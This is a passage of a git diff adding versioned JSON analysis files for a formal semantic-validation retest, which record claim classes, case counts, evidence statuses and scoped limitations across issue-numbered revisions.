+ "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1360-execution-v50", + "generated_at": "2026-09-25", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "plain_language_outcome": "The retained controls replay against the backend operation contract publication. The original claim limits and unsupported classes remain unchanged; this offline corpus does not establish live backend supervision or recovery.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v51.json b/docs/research/formal-semantic-validation/analysis-v51.json new file mode 100644 index 000000000..fafe56b2e --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v51.json @@ -0,0 +1,154 @@ +{ + "analysis_id": "issue-1360-analysis-v51", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v51.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1360-execution-v51", + "generated_at": "2026-09-25", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "plain_language_outcome": "Retained controls replay against the merged backend-operation and governed v2-admission source. Prior claim limits and unsupported classes remain unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v52.json b/docs/research/formal-semantic-validation/analysis-v52.json new file mode 100644 index 000000000..4c047c8dd --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v52.json @@ -0,0 +1,154 @@ +{ + "analysis_id": "issue-1360-analysis-v52", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v52.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1360-execution-v52", + "generated_at": "2026-09-25", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "plain_language_outcome": "Retained controls replay against the merged backend-operation and denied-egress source. Prior claim limits and unsupported classes remain unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v53.json b/docs/research/formal-semantic-validation/analysis-v53.json new file mode 100644 index 000000000..2a9cb84dc --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v53.json @@ -0,0 +1,155 @@ +{ + "analysis_id": "issue-1355-analysis-v53", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v53.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1355-execution-v53", + "generated_at": "2026-09-26", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1355 mixed mapping, time coordination, handoff, and outcome execution is covered by dedicated runtime tests; this retained formal corpus does not execute mixed providers or establish live backend fidelity." + ], + "plain_language_outcome": "Retained controls replay against the merged backend-operation and denied-egress source. Prior claim limits and unsupported classes remain unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v54.json b/docs/research/formal-semantic-validation/analysis-v54.json new file mode 100644 index 000000000..1bff89fbb --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v54.json @@ -0,0 +1,155 @@ +{ + "analysis_id": "issue-1389-analysis-v54", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v54.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1389-execution-v54", + "generated_at": "2026-09-26", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1389 temporal-subject admission is verified by dedicated compiler tests and adds no new 